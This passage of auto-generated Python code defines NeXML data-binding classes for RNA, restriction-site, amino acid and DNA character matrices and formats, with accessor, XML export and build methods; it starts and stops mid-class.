RNAMatrixSeqRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class RNASeqMatrix class RNAFormat(AbstractFormat): """The RNAFormat class is the container of RNA column definitions.""" subclass = None superclass = AbstractFormat def __init__(self, about=None, meta=None, states=None, char=None, set=None, valueOf_=None): super(RNAFormat, self).__init__(about, meta, states, char, set, ) if states is None: self.states = [] else: self.states = states if char is None: self.char = [] else: self.char = char if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RNAFormat.subclass: return RNAFormat.subclass(*args_, **kwargs_) else: return RNAFormat(*args_, **kwargs_) factory = staticmethod(factory) def get_states(self): return self.states def set_states(self, states): self.states = states def add_states(self, value): self.states.append(value) def insert_states(self, index, value): self.states[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def add_char(self, value): self.char.append(value) def insert_char(self, index, value): self.char[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RNAFormat', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAFormat') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAFormat'): super(RNAFormat, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAFormat') def exportChildren(self, outfile, level, namespace_='', name_='RNAFormat', fromsubclass_=False): for states_ in self.states: states_.export(outfile, level, namespace_, name_='states') for char_ in self.char: char_.export(outfile, level, namespace_, name_='char') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.states or self.char or self.set or super(RNAFormat, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAFormat'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RNAFormat, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAFormat, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('states=[\n') level += 1 for states_ in self.states: showIndent(outfile, level) outfile.write('model_.RNAStates(\n') states_.exportLiteral(outfile, level, name_='RNAStates') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('char=[\n') level += 1 for char_ in self.char: showIndent(outfile, level) outfile.write('model_.RNAChar(\n') char_.exportLiteral(outfile, level, name_='RNAChar') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CharSet(\n') set_.exportLiteral(outfile, level, name_='CharSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RNAFormat, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'states': obj_ = RNAStates.factory() obj_.build(child_) self.states.append(obj_) elif nodeName_ == 'char': obj_ = RNAChar.factory() obj_.build(child_) self.char.append(obj_) elif nodeName_ == 'set': obj_ = CharSet.factory() obj_.build(child_) self.set.append(obj_) # end class RNAFormat class RestrictionObsMatrix(AbstractObsMatrix): """A matrix of rows with single character observations.""" subclass = None superclass = AbstractObsMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(RestrictionObsMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RestrictionObsMatrix.subclass: return RestrictionObsMatrix.subclass(*args_, **kwargs_) else: return RestrictionObsMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RestrictionObsMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionObsMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionObsMatrix'): super(RestrictionObsMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionObsMatrix') def exportChildren(self, outfile, level, namespace_='', name_='RestrictionObsMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(RestrictionObsMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionObsMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RestrictionObsMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionObsMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.RestrictionMatrixObsRow(\n') row_.exportLiteral(outfile, level, name_='RestrictionMatrixObsRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RestrictionObsMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = RestrictionMatrixObsRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class RestrictionObsMatrix class RestrictionSeqMatrix(AbstractSeqMatrix): """A matrix of rows with seq strings of type restriction.""" subclass = None superclass = AbstractSeqMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(RestrictionSeqMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RestrictionSeqMatrix.subclass: return RestrictionSeqMatrix.subclass(*args_, **kwargs_) else: return RestrictionSeqMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RestrictionSeqMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionSeqMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionSeqMatrix'): super(RestrictionSeqMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionSeqMatrix') def exportChildren(self, outfile, level, namespace_='', name_='RestrictionSeqMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(RestrictionSeqMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionSeqMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RestrictionSeqMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionSeqMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.RestrictionMatrixSeqRow(\n') row_.exportLiteral(outfile, level, name_='RestrictionMatrixSeqRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RestrictionSeqMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = RestrictionMatrixSeqRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class RestrictionSeqMatrix class RestrictionFormat(AbstractFormat): """The RestrictionFormat class is the container of restriction column definitions.""" subclass = None superclass = AbstractFormat def __init__(self, about=None, meta=None, states=None, char=None, set=None, valueOf_=None): super(RestrictionFormat, self).__init__(about, meta, states, char, set, ) if states is None: self.states = [] else: self.states = states if char is None: self.char = [] else: self.char = char if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RestrictionFormat.subclass: return RestrictionFormat.subclass(*args_, **kwargs_) else: return RestrictionFormat(*args_, **kwargs_) factory = staticmethod(factory) def get_states(self): return self.states def set_states(self, states): self.states = states def add_states(self, value): self.states.append(value) def insert_states(self, index, value): self.states[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def add_char(self, value): self.char.append(value) def insert_char(self, index, value): self.char[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RestrictionFormat', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionFormat') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionFormat'): super(RestrictionFormat, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionFormat') def exportChildren(self, outfile, level, namespace_='', name_='RestrictionFormat', fromsubclass_=False): for states_ in self.states: states_.export(outfile, level, namespace_, name_='states') for char_ in self.char: char_.export(outfile, level, namespace_, name_='char') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.states or self.char or self.set or super(RestrictionFormat, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionFormat'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RestrictionFormat, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionFormat, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('states=[\n') level += 1 for states_ in self.states: showIndent(outfile, level) outfile.write('model_.RestrictionStates(\n') states_.exportLiteral(outfile, level, name_='RestrictionStates') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('char=[\n') level += 1 for char_ in self.char: showIndent(outfile, level) outfile.write('model_.RestrictionChar(\n') char_.exportLiteral(outfile, level, name_='RestrictionChar') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CharSet(\n') set_.exportLiteral(outfile, level, name_='CharSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RestrictionFormat, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'states': obj_ = RestrictionStates.factory() obj_.build(child_) self.states.append(obj_) elif nodeName_ == 'char': obj_ = RestrictionChar.factory() obj_.build(child_) self.char.append(obj_) elif nodeName_ == 'set': obj_ = CharSet.factory() obj_.build(child_) self.set.append(obj_) # end class RestrictionFormat class AAObsMatrix(AbstractObsMatrix): """A matrix of rows with single character observations.""" subclass = None superclass = AbstractObsMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(AAObsMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AAObsMatrix.subclass: return AAObsMatrix.subclass(*args_, **kwargs_) else: return AAObsMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AAObsMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAObsMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAObsMatrix'): super(AAObsMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAObsMatrix') def exportChildren(self, outfile, level, namespace_='', name_='AAObsMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(AAObsMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAObsMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AAObsMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAObsMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.AAMatrixObsRow(\n') row_.exportLiteral(outfile, level, name_='AAMatrixObsRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AAObsMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = AAMatrixObsRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class AAObsMatrix class AASeqMatrix(AbstractSeqMatrix): """A matrix of rows with amino acid data as sequence strings.""" subclass = None superclass = AbstractSeqMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(AASeqMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AASeqMatrix.subclass: return AASeqMatrix.subclass(*args_, **kwargs_) else: return AASeqMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AASeqMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AASeqMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AASeqMatrix'): super(AASeqMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AASeqMatrix') def exportChildren(self, outfile, level, namespace_='', name_='AASeqMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(AASeqMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AASeqMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AASeqMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AASeqMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.AAMatrixSeqRow(\n') row_.exportLiteral(outfile, level, name_='AAMatrixSeqRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AASeqMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = AAMatrixSeqRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class AASeqMatrix class AAFormat(AbstractFormat): """The AAFormat class is the container of amino acid column definitions.""" subclass = None superclass = AbstractFormat def __init__(self, about=None, meta=None, states=None, char=None, set=None, valueOf_=None): super(AAFormat, self).__init__(about, meta, states, char, set, ) if states is None: self.states = [] else: self.states = states if char is None: self.char = [] else: self.char = char if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AAFormat.subclass: return AAFormat.subclass(*args_, **kwargs_) else: return AAFormat(*args_, **kwargs_) factory = staticmethod(factory) def get_states(self): return self.states def set_states(self, states): self.states = states def add_states(self, value): self.states.append(value) def insert_states(self, index, value): self.states[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def add_char(self, value): self.char.append(value) def insert_char(self, index, value): self.char[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AAFormat', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAFormat') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAFormat'): super(AAFormat, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAFormat') def exportChildren(self, outfile, level, namespace_='', name_='AAFormat', fromsubclass_=False): for states_ in self.states: states_.export(outfile, level, namespace_, name_='states') for char_ in self.char: char_.export(outfile, level, namespace_, name_='char') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.states or self.char or self.set or super(AAFormat, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAFormat'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AAFormat, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAFormat, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('states=[\n') level += 1 for states_ in self.states: showIndent(outfile, level) outfile.write('model_.AAStates(\n') states_.exportLiteral(outfile, level, name_='AAStates') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('char=[\n') level += 1 for char_ in self.char: showIndent(outfile, level) outfile.write('model_.AAChar(\n') char_.exportLiteral(outfile, level, name_='AAChar') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CharSet(\n') set_.exportLiteral(outfile, level, name_='CharSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AAFormat, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'states': obj_ = AAStates.factory() obj_.build(child_) self.states.append(obj_) elif nodeName_ == 'char': obj_ = AAChar.factory() obj_.build(child_) self.char.append(obj_) elif nodeName_ == 'set': obj_ = CharSet.factory() obj_.build(child_) self.set.append(obj_) # end class AAFormat class DNAObsMatrix(AbstractObsMatrix): """A matrix of rows with single character observations.""" subclass = None superclass = AbstractObsMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(DNAObsMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if DNAObsMatrix.subclass: return DNAObsMatrix.subclass(*args_, **kwargs_) else: return DNAObsMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='DNAObsMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAObsMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAObsMatrix'): super(DNAObsMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAObsMatrix') def exportChildren(self, outfile, level, namespace_='', name_='DNAObsMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(DNAObsMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAObsMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DNAObsMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAObsMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.DNAMatrixObsRow(\n') row_.exportLiteral(outfile, level, name_='DNAMatrixObsRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DNAObsMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = DNAMatrixObsRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class DNAObsMatrix class DNASeqMatrix(AbstractSeqMatrix): """A matrix of rows with seq strings of type DNA.""" subclass = None superclass = AbstractSeqMatrix def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(DNASeqMatrix, self).__init__(about, meta, row, set, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if DNASeqMatrix.subclass: return DNASeqMatrix.subclass(*args_, **kwargs_) else: return DNASeqMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='DNASeqMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNASeqMatrix') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNASeqMatrix'): super(DNASeqMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNASeqMatrix') def exportChildren(self, outfile, level, namespace_='', name_='DNASeqMatrix', fromsubclass_=False): for row_ in self.row: row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(DNASeqMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNASeqMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DNASeqMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNASeqMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: 